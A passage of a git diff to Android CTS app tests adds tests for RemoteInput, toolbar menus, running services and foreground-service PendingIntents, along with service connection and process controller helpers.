+    private static RemoteInput newTextAndDataRemoteInput() {
+        return new RemoteInput.Builder(DATA_AND_TEXT_RESULT_KEY)
+            .setAllowDataType("mimeType", true)
+            .build();  // allowFreeForm defaults to true
+    }
+
+    private static RemoteInput newTextRemoteInput() {
+        return new RemoteInput.Builder(TEXT_RESULT_KEY).build();  // allowFreeForm defaults to true
+    }
+
+    private static void verifyRemoteInputArrayHasSingleResult(
+            RemoteInput[] remoteInputs, String expectedResultKey) {
+        assertTrue(remoteInputs != null && remoteInputs.length == 1);
+        assertEquals(expectedResultKey, remoteInputs[0].getResultKey());
+    }
+
+    private static Notification.Action.Builder newActionBuilder() {
+        return new Notification.Action.Builder(0, "title", null);
     }
 }
diff --git a/tests/app/src/android/app/cts/PendingIntentTest.java b/tests/app/src/android/app/cts/PendingIntentTest.java
index 5656036..92000e6 100644
--- a/tests/app/src/android/app/cts/PendingIntentTest.java
+++ b/tests/app/src/android/app/cts/PendingIntentTest.java
@@ -404,6 +404,7 @@
             CanceledException {
         mIntent = new Intent(MockReceiver.MOCKACTION);
         mIntent.setAction(MockReceiver.MOCKACTION);
+        mIntent.setClass(getContext(), MockReceiver.class);
 
         mPendingIntent = PendingIntent.getBroadcast(mContext, 1, mIntent, 1);
         MockReceiver.prepareReceive(null, 0);
diff --git a/tests/app/src/android/app/cts/PipNotResizeableActivityTest.java b/tests/app/src/android/app/cts/PipNotResizeableActivityTest.java
deleted file mode 100644
index e2a4aff..0000000
--- a/tests/app/src/android/app/cts/PipNotResizeableActivityTest.java
+++ /dev/null
@@ -1,59 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.app.cts;
-
-import android.app.Instrumentation;
-import android.app.stubs.PipNotResizeableActivity;
-import android.test.ActivityInstrumentationTestCase2;
-
-public class PipNotResizeableActivityTest
-        extends ActivityInstrumentationTestCase2<PipNotResizeableActivity> {
-
-        private Instrumentation mInstrumentation;
-        private PipNotResizeableActivity mActivity;
-
-        public PipNotResizeableActivityTest() {
-            super("android.app.stubs", PipNotResizeableActivity.class);
-        }
-
-        @Override
-        protected void setUp() throws Exception {
-            super.setUp();
-            mInstrumentation = getInstrumentation();
-            mActivity = getActivity();
-        }
-
-        public void testLaunchPipNotResizeableActivity() throws Throwable {
-            runTestOnUiThread(new Runnable() {
-                public void run() {
-                    boolean pipSupportDisabled = false;
-                    try {
-                        mActivity.enterPictureInPictureMode();
-                    } catch (IllegalStateException e) {
-                        // Pip not supported
-                        pipSupportDisabled = true;
-                    } catch (IllegalArgumentException e) {
-                        // Pip not supported
-                        pipSupportDisabled = true;
-                    }
-                    assertTrue(pipSupportDisabled);
-                    assertFalse(mActivity.isInPictureInPictureMode());
-                }
-            });
-            mInstrumentation.waitForIdleSync();
-        }
-    }
diff --git a/tests/app/src/android/app/cts/RemoteInputTest.java b/tests/app/src/android/app/cts/RemoteInputTest.java
new file mode 100644
index 0000000..f53226b
--- /dev/null
+++ b/tests/app/src/android/app/cts/RemoteInputTest.java
@@ -0,0 +1,185 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.cts;
+
+import android.app.RemoteInput;
+import android.content.Intent;
+import android.net.Uri;
+import android.os.Bundle;
+import android.test.AndroidTestCase;
+
+import java.util.HashMap;
+import java.util.Map;
+
+public class RemoteInputTest extends AndroidTestCase {
+    private static final String RESULT_KEY = "result_key";  // value doesn't matter
+    private static final String MIME_TYPE = "mimeType";  // value doesn't matter
+
+    public void testRemoteInputBuilder_setDataOnly() throws Throwable {
+        RemoteInput input = newDataOnlyRemoteInput();
+
+        assertTrue(input.isDataOnly());
+        assertFalse(input.getAllowFreeFormInput());
+        assertTrue(input.getChoices() == null || input.getChoices().length == 0);
+        assertEquals(1, input.getAllowedDataTypes().size());
+        assertTrue(input.getAllowedDataTypes().contains(MIME_TYPE));
+    }
+
+    public void testRemoteInputBuilder_setTextOnly() throws Throwable {
+        RemoteInput input = newTextRemoteInput();
+
+        assertFalse(input.isDataOnly());
+        assertTrue(input.getAllowFreeFormInput());
+        assertTrue(input.getChoices() == null || input.getChoices().length == 0);
+        assertTrue(input.getAllowedDataTypes() == null || input.getAllowedDataTypes().isEmpty());
+    }
+
+    public void testRemoteInputBuilder_setChoicesOnly() throws Throwable {
+        RemoteInput input = newChoicesOnlyRemoteInput();
+
+        assertFalse(input.isDataOnly());
+        assertFalse(input.getAllowFreeFormInput());
+        assertTrue(input.getChoices() != null && input.getChoices().length > 0);
+        assertTrue(input.getAllowedDataTypes() == null || input.getAllowedDataTypes().isEmpty());
+    }
+
+    public void testRemoteInputBuilder_setDataAndTextAndChoices() throws Throwable {
+        CharSequence[] choices = new CharSequence[2];
+        choices[0] = "first";
+        choices[1] = "second";
+        RemoteInput input =
+                new RemoteInput.Builder(RESULT_KEY)
+                .setChoices(choices)
+                .setAllowDataType(MIME_TYPE, true)
+                .build();
+
+        assertFalse(input.isDataOnly());
+        assertTrue(input.getAllowFreeFormInput());
+        assertTrue(input.getChoices() != null && input.getChoices().length > 0);
+        assertEquals(1, input.getAllowedDataTypes().size());
+        assertTrue(input.getAllowedDataTypes().contains(MIME_TYPE));
+    }
+
+    public void testRemoteInputBuilder_addAndGetDataResultsFromIntent() throws Throwable {
+        Uri uri = Uri.parse("Some Uri");
+        RemoteInput input = newDataOnlyRemoteInput();
+        Intent intent = new Intent();
+        Map<String, Uri> putResults = new HashMap<>();
+        putResults.put(MIME_TYPE, uri);
+        RemoteInput.addDataResultToIntent(input, intent, putResults);
+
+        verifyIntentHasDataResults(intent, uri);
+    }
+
+    public void testRemoteInputBuilder_addAndGetTextResultsFromIntent() throws Throwable {
+        CharSequence charSequence = "value doesn't matter";
+        RemoteInput input = newTextRemoteInput();
+        Intent intent = new Intent();
+        Bundle putResults = new Bundle();
+        putResults.putCharSequence(input.getResultKey(), charSequence);
+        RemoteInput[] arr = new RemoteInput[1];
+        arr[0] = input;
+        RemoteInput.addResultsToIntent(arr, intent, putResults);
+
+        verifyIntentHasTextResults(intent, charSequence);
+    }
+
+    public void testRemoteInputBuilder_addAndGetDataAndTextResultsFromIntentDataFirst()
+            throws Throwable {
+        CharSequence charSequence = "value doesn't matter";
+        Uri uri = Uri.parse("Some Uri");
+        RemoteInput input =
+                new RemoteInput.Builder(RESULT_KEY)
+                .setAllowDataType(MIME_TYPE, true)
+                .build();
+        Intent intent = new Intent();
+
+        Map<String, Uri> dataResults = new HashMap<>();
+        dataResults.put(MIME_TYPE, uri);
+        RemoteInput.addDataResultToIntent(input, intent, dataResults);
+
+        Bundle textResults = new Bundle();
+        textResults.putCharSequence(input.getResultKey(), charSequence);
+        RemoteInput[] arr = new RemoteInput[1];
+        arr[0] = input;
+        RemoteInput.addResultsToIntent(arr, intent, textResults);
+
+        verifyIntentHasTextResults(intent, charSequence);
+        verifyIntentHasDataResults(intent, uri);
+    }
+
+    public void testRemoteInputBuilder_addAndGetDataAndTextResultsFromIntentTextFirst()
+            throws Throwable {
+        CharSequence charSequence = "value doesn't matter";
+        Uri uri = Uri.parse("Some Uri");
+        RemoteInput input =
+                new RemoteInput.Builder(RESULT_KEY)
+                .setAllowDataType(MIME_TYPE, true)
+                .build();
+        Intent intent = new Intent();
+
+        Bundle textResults = new Bundle();
+        textResults.putCharSequence(input.getResultKey(), charSequence);
+        RemoteInput[] arr = new RemoteInput[1];
+        arr[0] = input;
+        RemoteInput.addResultsToIntent(arr, intent, textResults);
+
+        Map<String, Uri> dataResults = new HashMap<>();
+        dataResults.put(MIME_TYPE, uri);
+        RemoteInput.addDataResultToIntent(input, intent, dataResults);
+
+        verifyIntentHasTextResults(intent, charSequence);
+        verifyIntentHasDataResults(intent, uri);
+    }
+
+    private static void verifyIntentHasTextResults(Intent intent, CharSequence expected) {
+        Bundle getResults = RemoteInput.getResultsFromIntent(intent);
+        assertNotNull(getResults);
+        assertTrue(getResults.containsKey(RESULT_KEY));
+        assertEquals(expected, getResults.getCharSequence(RESULT_KEY, "default"));
+    }
+
+    private static void verifyIntentHasDataResults(Intent intent, Uri expectedUri) {
+        Map<String, Uri> getResults = RemoteInput.getDataResultsFromIntent(intent, RESULT_KEY);
+        assertNotNull(getResults);
+        assertEquals(1, getResults.size());
+        assertTrue(getResults.containsKey(MIME_TYPE));
+        assertEquals(expectedUri, getResults.get(MIME_TYPE));
+    }
+
+    private static RemoteInput newTextRemoteInput() {
+        return new RemoteInput.Builder(RESULT_KEY).build();  // allowFreeForm defaults to true
+    }
+
+    private static RemoteInput newChoicesOnlyRemoteInput() {
+        CharSequence[] choices = new CharSequence[2];
+        choices[0] = "first";
+        choices[1] = "second";
+        return new RemoteInput.Builder(RESULT_KEY)
+            .setAllowFreeFormInput(false)
+            .setChoices(choices)
+            .build();
+    }
+
+    private static RemoteInput newDataOnlyRemoteInput() {
+        return new RemoteInput.Builder(RESULT_KEY)
+            .setAllowFreeFormInput(false)
+            .setAllowDataType(MIME_TYPE, true)
+            .build();
+    }
+}
+
diff --git a/tests/app/src/android/app/cts/ServiceTest.java b/tests/app/src/android/app/cts/ServiceTest.java
index 1d6d23d..5f8202d 100644
--- a/tests/app/src/android/app/cts/ServiceTest.java
+++ b/tests/app/src/android/app/cts/ServiceTest.java
@@ -16,8 +16,11 @@
 
 package android.app.cts;
 
+import android.app.ActivityManager;
 import android.app.Notification;
+import android.app.NotificationChannel;
 import android.app.NotificationManager;
+import android.app.PendingIntent;
 import android.app.stubs.ActivityTestsBase;
 import android.app.stubs.LocalDeniedService;
 import android.app.stubs.LocalForegroundService;
@@ -27,7 +30,7 @@
 import android.content.Context;
 import android.content.Intent;
 import android.content.ServiceConnection;
-import android.cts.util.IBinderParcelable;
+import android.support.test.InstrumentationRegistry;
 import android.os.Binder;
 import android.os.Bundle;
 import android.os.IBinder;
@@ -38,8 +41,14 @@
 import android.util.Log;
 import android.app.stubs.R;
 
+import com.android.compatibility.common.util.IBinderParcelable;
+import com.android.compatibility.common.util.SystemUtil;
+
+import java.util.List;
+
 public class ServiceTest extends ActivityTestsBase {
     private static final String TAG = "ServiceTest";
+    private static final String NOTIFICATION_CHANNEL_ID = TAG;
     private static final int STATE_START_1 = 0;
     private static final int STATE_START_2 = 1;
     private static final int STATE_START_3 = 2;
@@ -51,6 +60,9 @@
     private static final
         String EXIST_CONN_TO_RECEIVE_SERVICE = "existing connection to receive service";
     private static final String EXIST_CONN_TO_LOSE_SERVICE = "existing connection to lose service";
+    private static final String EXTERNAL_SERVICE_PACKAGE = "com.android.app2";
+    private static final String EXTERNAL_SERVICE_COMPONENT =
+            EXTERNAL_SERVICE_PACKAGE + "/android.app.stubs.LocalService";
     private int mExpectedServiceState;
     private Context mContext;
     private Intent mLocalService;
@@ -59,6 +71,7 @@
     private Intent mLocalGrantedService;
     private Intent mLocalService_ApplicationHasPermission;
     private Intent mLocalService_ApplicationDoesNotHavePermission;
+    private Intent mExternalService;
 
     private IBinder mStateReceiver;
 
@@ -172,8 +185,8 @@
         return notificationManager;
     }
 
-    private void sendNotififcation(int id, String title) {
-        Notification notification = new Notification.Builder(getContext())
+    private void sendNotification(int id, String title) {
+        Notification notification = new Notification.Builder(getContext(), NOTIFICATION_CHANNEL_ID)
             .setContentTitle(title)
             .setSmallIcon(R.drawable.black)
             .build();
@@ -382,6 +395,8 @@
         super.setUp();
         mContext = getContext();
         mLocalService = new Intent(mContext, LocalService.class);
+        mExternalService = new Intent();
+        mExternalService.setComponent(ComponentName.unflattenFromString(EXTERNAL_SERVICE_COMPONENT));
         mLocalForegroundService = new Intent(mContext, LocalForegroundService.class);
         mLocalDeniedService = new Intent(mContext, LocalDeniedService.class);
         mLocalGrantedService = new Intent(mContext, LocalGrantedService.class);
@@ -390,6 +405,19 @@
         mLocalService_ApplicationDoesNotHavePermission = new Intent(
                 LocalService.SERVICE_LOCAL_DENIED, null /*uri*/, mContext, LocalService.class);
         mStateReceiver = new MockBinder();
+        getNotificationManager().createNotificationChannel(new NotificationChannel(
+                NOTIFICATION_CHANNEL_ID, "name", NotificationManager.IMPORTANCE_DEFAULT));
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        super.tearDown();
+        getNotificationManager().deleteNotificationChannel(NOTIFICATION_CHANNEL_ID);
+        mContext.stopService(mLocalService);
+        mContext.stopService(mLocalForegroundService);
+        mContext.stopService(mLocalGrantedService);
+        mContext.stopService(mLocalService_ApplicationHasPermission);
+        mContext.stopService(mExternalService);
     }
 
     private class MockBinder extends Binder {
@@ -460,14 +488,6 @@
         }
     }
 
-    @Override
-    protected void tearDown() throws Exception {
-        super.tearDown();
-        mContext.stopService(mLocalService);
-        mContext.stopService(mLocalForegroundService);
-        mContext.stopService(mLocalGrantedService);
-        mContext.stopService(mLocalService_ApplicationHasPermission);
-    }
 
     public void testLocalStartClass() throws Exception {
         startExpectResult(mLocalService);
@@ -482,9 +502,19 @@
         bindExpectResult(mLocalService);
     }
 
+    /* Just the Intent for a foreground service */
+    private Intent foregroundServiceIntent(int command) {
+        return new Intent(mLocalForegroundService)
+                .putExtras(LocalForegroundService.newCommand(mStateReceiver, command));
+    }
+
     private void startForegroundService(int command) {
-        mContext.startService(new Intent(mLocalForegroundService).putExtras(LocalForegroundService
-                .newCommand(mStateReceiver, command)));
+        mContext.startService(foregroundServiceIntent(command));
+    }
+
+    /* Start the service in a way that promises to go into the foreground */
+    private void startRequiredForegroundService(int command) {
+        mContext.startForegroundService(foregroundServiceIntent(command));
     }
 
     @MediumTest
@@ -506,7 +536,7 @@
 
             // Sends another notification reusing the same notification id.
             String newTitle = "YODA I AM";
-            sendNotififcation(1, newTitle);
+            sendNotification(1, newTitle);
             assertNotification(1, newTitle);
 
             // Start service as foreground again - it should kill notification #1 and show #2
@@ -544,12 +574,14 @@
         boolean success = false;
         try {
             // Start service as foreground - it should show notification #1
+            Log.d(TAG, "Expecting first start state...");
             mExpectedServiceState = STATE_START_1;
             startForegroundService(LocalForegroundService.COMMAND_START_FOREGROUND);
             waitForResultOrThrow(DELAY, "service to start first time");
             assertNotification(1, LocalForegroundService.getNotificationTitle(1));
 
             // Stop foreground removing notification
+            Log.d(TAG, "Expecting second start state...");
             mExpectedServiceState = STATE_START_2;
             if (usingFlags) {
                 startForegroundService(LocalForegroundService
@@ -580,6 +612,59 @@
         assertNoNotification(2);
     }
 
+    public void testRunningServices() throws Exception {
+        final int maxReturnedServices = 10;
+        final Bundle bundle = new Bundle();
+        bundle.putParcelable(LocalService.REPORT_OBJ_NAME, new IBinderParcelable(mStateReceiver));
+
+        boolean success = false;
+
+        ActivityManager am = mContext.getSystemService(ActivityManager.class);
+
+        // Put target app on whitelist so we can start its services.
+        SystemUtil.runShellCommand(InstrumentationRegistry.getInstrumentation(),
+                "cmd deviceidle whitelist +" + EXTERNAL_SERVICE_PACKAGE);
+
+        // No services should be reported back at the beginning
+        assertEquals(0, am.getRunningServices(maxReturnedServices).size());
+        try {
+            mExpectedServiceState = STATE_START_1;
+            // Start external service.
+            mContext.startService(new Intent(mExternalService).putExtras(bundle));
+            waitForResultOrThrow(DELAY, "external service to start first time");
+
+            // Ensure we can't see service.
+            assertEquals(0, am.getRunningServices(maxReturnedServices).size());
+
+            // Start local service.
+            mContext.startService(new Intent(mLocalService).putExtras(bundle));
+            waitForResultOrThrow(DELAY, "local service to start first time");
+            success = true;
+
+            // Ensure we can see service and it is ours.
+            List<ActivityManager.RunningServiceInfo> services = am.getRunningServices(maxReturnedServices);
+            assertEquals(1, services.size());
+            assertEquals(android.os.Process.myUid(), services.get(0).uid);
+        } finally {
+            SystemUtil.runShellCommand(InstrumentationRegistry.getInstrumentation(),
+                    "cmd deviceidle whitelist -" + EXTERNAL_SERVICE_PACKAGE);
+            if (!success) {
+                mContext.stopService(mLocalService);
+                mContext.stopService(mExternalService);
+            }
+        }
+        mExpectedServiceState = STATE_DESTROY;
+
+        mContext.stopService(mExternalService);
+        waitForResultOrThrow(DELAY, "external service to be destroyed");
+
+        mContext.stopService(mLocalService);
+        waitForResultOrThrow(DELAY, "local service to be destroyed");
+
+        // Once our service has stopped, make sure we can't see any services.
+        assertEquals(0, am.getRunningServices(maxReturnedServices).size());
+    }
+
     @MediumTest
     public void testForegroundService_detachNotificationOnStop() throws Exception {
         String newTitle = null;
@@ -601,7 +686,7 @@
 
             // Sends another notification reusing the same notification id.
             newTitle = "YODA I AM";
-            sendNotififcation(1, newTitle);
+            sendNotification(1, newTitle);
             assertNotification(1, newTitle);
 
             // Start service as foreground again - it should show notification #2..
@@ -631,6 +716,44 @@
         assertNoNotification(2);
     }
 
+    class TestSendCallback implements PendingIntent.OnFinished {
+        public volatile int result = -1;
+
+        @Override
+        public void onSendFinished(PendingIntent pendingIntent, Intent intent, int resultCode,
+                String resultData, Bundle resultExtras) {
+            Log.i(TAG, "foreground service PendingIntent callback got " + resultCode);
+            this.result = resultCode;
+        }
+    }
+
+    @MediumTest
+    public void testForegroundService_pendingIntentForeground() throws Exception {
+        boolean success = false;
+
+        PendingIntent pi = PendingIntent.getForegroundService(mContext, 1,
+                foregroundServiceIntent(LocalForegroundService.COMMAND_START_FOREGROUND),
+                PendingIntent.FLAG_CANCEL_CURRENT);
+        TestSendCallback callback = new TestSendCallback();
+
+        try {
+            mExpectedServiceState = STATE_START_1;
+            pi.send(5038, callback, null);
+            waitForResultOrThrow(DELAY, "service to start first time");
+            assertTrue(callback.result > -1);
+
+            success = true;
+        } finally {
+            if (!success) {
+                mContext.stopService(mLocalForegroundService);
+            }
+        }
+
+        mExpectedServiceState = STATE_DESTROY;
+        mContext.stopService(mLocalForegroundService);
+        waitForResultOrThrow(DELAY, "pendingintent service to be destroyed");
+    }
+
     @MediumTest
     public void testLocalBindAction() throws Exception {
         bindExpectResult(new Intent(
diff --git a/tests/app/src/android/app/cts/ToolbarActionBarTest.java b/tests/app/src/android/app/cts/ToolbarActionBarTest.java
new file mode 100644
index 0000000..46ab200
--- /dev/null
+++ b/tests/app/src/android/app/cts/ToolbarActionBarTest.java
@@ -0,0 +1,74 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.app.cts;
+
+import android.app.stubs.R;
+import android.app.stubs.ToolbarActivity;
+import android.test.ActivityInstrumentationTestCase2;
+import android.view.KeyEvent;
+
+import android.view.Window;
+
+public class ToolbarActionBarTest extends ActivityInstrumentationTestCase2<ToolbarActivity> {
+
+    private ToolbarActivity mActivity;
+
+    public ToolbarActionBarTest() {
+        super(ToolbarActivity.class);
+    }
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mActivity = getActivity();
+        getInstrumentation().runOnMainSync(
+                () -> mActivity.getToolbar().inflateMenu(R.menu.flat_menu));
+    }
+
+    public void testOptionsMenuKey() {
+        if (!mActivity.getWindow().hasFeature(Window.FEATURE_OPTIONS_PANEL)) {
+            return;
+        }
+        final boolean menuIsVisible[] = {false};
+        mActivity.getActionBar().addOnMenuVisibilityListener(
+                isVisible -> menuIsVisible[0] = isVisible);
+        getInstrumentation().sendKeyDownUpSync(KeyEvent.KEYCODE_MENU);
+        getInstrumentation().waitForIdleSync();
+        assertTrue(menuIsVisible[0]);
+        assertTrue(mActivity.getToolbar().isOverflowMenuShowing());
+        getInstrumentation().sendKeyDownUpSync(KeyEvent.KEYCODE_MENU);
+        getInstrumentation().waitForIdleSync();
+        assertFalse(menuIsVisible[0]);
+        assertFalse(mActivity.getToolbar().isOverflowMenuShowing());
+    }
+
+    public void testOpenOptionsMenu() {
+        if (!mActivity.getWindow().hasFeature(Window.FEATURE_OPTIONS_PANEL)) {
+            return;
+        }
+        final boolean menuIsVisible[] = {false};
+        mActivity.getActionBar().addOnMenuVisibilityListener(
+                isVisible -> menuIsVisible[0] = isVisible);
+        getInstrumentation().runOnMainSync(() -> mActivity.openOptionsMenu());
+        getInstrumentation().waitForIdleSync();
+        assertTrue(menuIsVisible[0]);
+        assertTrue(mActivity.getToolbar().isOverflowMenuShowing());
+        getInstrumentation().runOnMainSync(() -> mActivity.closeOptionsMenu());
+        getInstrumentation().waitForIdleSync();
+        assertFalse(menuIsVisible[0]);
+        assertFalse(mActivity.getToolbar().isOverflowMenuShowing());
+    }
+}
diff --git a/tests/app/src/android/app/cts/WildcardProcessInstrumentation.java b/tests/app/src/android/app/cts/WildcardProcessInstrumentation.java
new file mode 100644
index 0000000..e854e76
--- /dev/null
+++ b/tests/app/src/android/app/cts/WildcardProcessInstrumentation.java
@@ -0,0 +1,25 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.cts;
+
+public class WildcardProcessInstrumentation extends BaseProcessInstrumentation {
+    public WildcardProcessInstrumentation() {
+        super(ActivityManagerTest.SIMPLE_PACKAGE_NAME,
+                ActivityManagerTest.SIMPLE_PACKAGE_NAME
+                        + ActivityManagerTest.SIMPLE_REMOTE_RECEIVER);
+    }
+}
diff --git a/tests/app/src/android/app/cts/android/app/cts/tools/ServiceConnectionHandler.java b/tests/app/src/android/app/cts/android/app/cts/tools/ServiceConnectionHandler.java
new file mode 100644
index 0000000..191a75a
--- /dev/null
+++ b/tests/app/src/android/app/cts/android/app/cts/tools/ServiceConnectionHandler.java
@@ -0,0 +1,189 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.cts.android.app.cts.tools;
+
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.ServiceConnection;
+import android.os.IBinder;
+import android.os.SystemClock;
+import android.util.Log;
+
+/**
+ * Helper for binding to a service and monitoring the state of that service.
+ */
+public final class ServiceConnectionHandler implements ServiceConnection {
+    static final String TAG = "ServiceConnectionHandler";
+
+    final Context mContext;
+    final Intent mIntent;
+    boolean mMonitoring;
+    boolean mBound;
+    IBinder mService;
+
+    final ServiceConnection mMainBinding = new ServiceConnection() {
+        @Override
+        public void onServiceConnected(ComponentName name, IBinder service) {
+        }
+
+        @Override
+        public void onServiceDisconnected(ComponentName name) {
+        }
+    };
+
+    public ServiceConnectionHandler(Context context, Intent intent) {
+        mContext = context;
+        mIntent = intent;
+    }
+
+    public void startMonitoring() {
+        synchronized (this) {
+            if (mMonitoring) {
+                throw new IllegalStateException("Already monitoring");
+            }
+            if (!mContext.bindService(mIntent, this, Context.BIND_WAIVE_PRIORITY)) {
+                throw new IllegalStateException("Failed to bind " + mIntent);
+            }
+            mMonitoring = true;
+            mService = null;
+        }
+    }
+
+    public void waitForConnect(long timeout) {
+        final long endTime = SystemClock.uptimeMillis() + timeout;
+
+        synchronized (this) {
+            while (mService == null) {
+                final long now = SystemClock.uptimeMillis();
+                if (now >= endTime) {
+                    throw new IllegalStateException("Timed out binding to " + mIntent);
+                }
+                try {
+                    wait(endTime - now);
+                } catch (InterruptedException e) {
+                }
+            }
+        }
+    }
+
+    public IBinder getServiceIBinder() {
+        return mService;
+    }
+
+    public void waitForDisconnect(long timeout) {
+        final long endTime = SystemClock.uptimeMillis() + timeout;
+
+        synchronized (this) {
+            while (mService != null) {
+                final long now = SystemClock.uptimeMillis();
+                if (now >= endTime) {
+                    throw new IllegalStateException("Timed out unbinding from " + mIntent);
+                }
+                try {
+                    wait(endTime - now);
+                } catch (InterruptedException e) {
+                }
+            }
+        }
+    }
+
+    public void stopMonitoring() {
+        synchronized (this) {
+            if (!mMonitoring) {
+                throw new IllegalStateException("Not monitoring");
+            }
+            mContext.unbindService(this);
+            mMonitoring = false;
+        }
+    }
+
+    public void bind(long timeout) {
+        synchronized (this) {
+            if (mBound) {
+                throw new IllegalStateException("Already bound");
+            }
+            // Here's the trick: the first binding allows us to to see the service come
+            // up and go down but doesn't actually cause it to run or impact process management.
+            // The second binding actually brings it up.
+            startMonitoring();
+            if (!mContext.bindService(mIntent, mMainBinding, Context.BIND_AUTO_CREATE)) {
+                throw new IllegalStateException("Failed to bind " + mIntent);
+            }
+            mBound = true;
+            waitForConnect(timeout);
+        }
+    }
+
+    public void unbind(long timeout) {
+        synchronized (this) {
+            if (!mBound) {
+                throw new IllegalStateException("Not bound");
+            }
+            // This allows the service to go down.  We maintain the second binding to be
+            // able to see the connection go away which is what we want to wait on.
+            mContext.unbindService(mMainBinding);
+            mBound = false;
+
+            try {
+                waitForDisconnect(timeout);
+            } finally {
+                stopMonitoring();
+            }
+        }
+    }
+
+    public void cleanup(long timeout) {
+        synchronized (this) {
+            if (mBound) {
+                unbind(timeout);
+            } else if (mMonitoring) {
+                stopMonitoring();
+            }
+        }
+    }
+
+    @Override
+    public void onServiceConnected(ComponentName name, IBinder service) {
+        synchronized (this) {
+            mService = service;
+            notifyAll();
+        }
+    }
+
+    @Override
+    public void onServiceDisconnected(ComponentName name) {
+        synchronized (this) {
+            mService = null;
+            notifyAll();
+        }
+    }
+
+    @Override
+    public void onBindingDied(ComponentName name) {
+        synchronized (this) {
+            // We want to remain connected to this service.
+            if (mMonitoring) {
+                Log.d(TAG, "Disconnected but monitoring, unbinding " + this + "...");
+                mContext.unbindService(this);
+                Log.d(TAG, "...and rebinding");
+                mContext.bindService(mIntent, this, Context.BIND_WAIVE_PRIORITY);
+            }
+        }
+    }
+}
+
diff --git a/tests/app/src/android/app/cts/android/app/cts/tools/ServiceProcessController.java b/tests/app/src/android/app/cts/android/app/cts/tools/ServiceProcessController.java
new file mode 100644
index 0000000..605cbe2
--- /dev/null
+++ b/tests/app/src/android/app/cts/android/app/cts/tools/ServiceProcessController.java
@@ -0,0 +1,125 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.cts.android.app.cts.tools;
+
+import android.Manifest;
+import android.app.ActivityManager;
+import android.app.Instrumentation;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.ApplicationInfo;
+import android.content.pm.PackageManager;
+import android.os.IBinder;
+import android.os.Parcel;
+import android.os.RemoteException;
+
+import com.android.compatibility.common.util.SystemUtil;
+
+import java.io.IOException;
+
+/**
+ * Helper for monitoring and controlling the state of a process under test.
+ * Primarily currently a convenience for cleanly killing a process and waiting
+ * for it to entirely disappear from the system.
+ */
+public final class ServiceProcessController {
+    final Context mContext;
+    final Instrumentation mInstrumentation;
+    final String mMyPackageName;
+    final Intent[] mServiceIntents;
+    final String mServicePackage;
+
+    final ActivityManager mAm;
+    final Parcel mData;
+    final ServiceConnectionHandler[] mConnections;
+    final UidImportanceListener mUidForegroundListener;
+    final UidImportanceListener mUidGoneListener;
+
+    public ServiceProcessController(Context context, Instrumentation instrumentation,
+            String myPackageName, Intent[] serviceIntents)
+            throws IOException, PackageManager.NameNotFoundException {
+        mContext = context;
+        mInstrumentation = instrumentation;
+        mMyPackageName = myPackageName;
+        mServiceIntents = serviceIntents;
+        mServicePackage = mServiceIntents[0].getComponent().getPackageName();
+        String cmd = "pm grant " + mMyPackageName + " " + Manifest.permission.PACKAGE_USAGE_STATS;
+        String result = SystemUtil.runShellCommand(mInstrumentation, cmd);
+        /*
+        Log.d("XXXX", "Invoke: " + cmd);
+        Log.d("XXXX", "Result: " + result);
+        Log.d("XXXX", SystemUtil.runShellCommand(getInstrumentation(), "dumpsys package "
+                + STUB_PACKAGE_NAME));
+        */
+
+        mAm = mContext.getSystemService(ActivityManager.class);
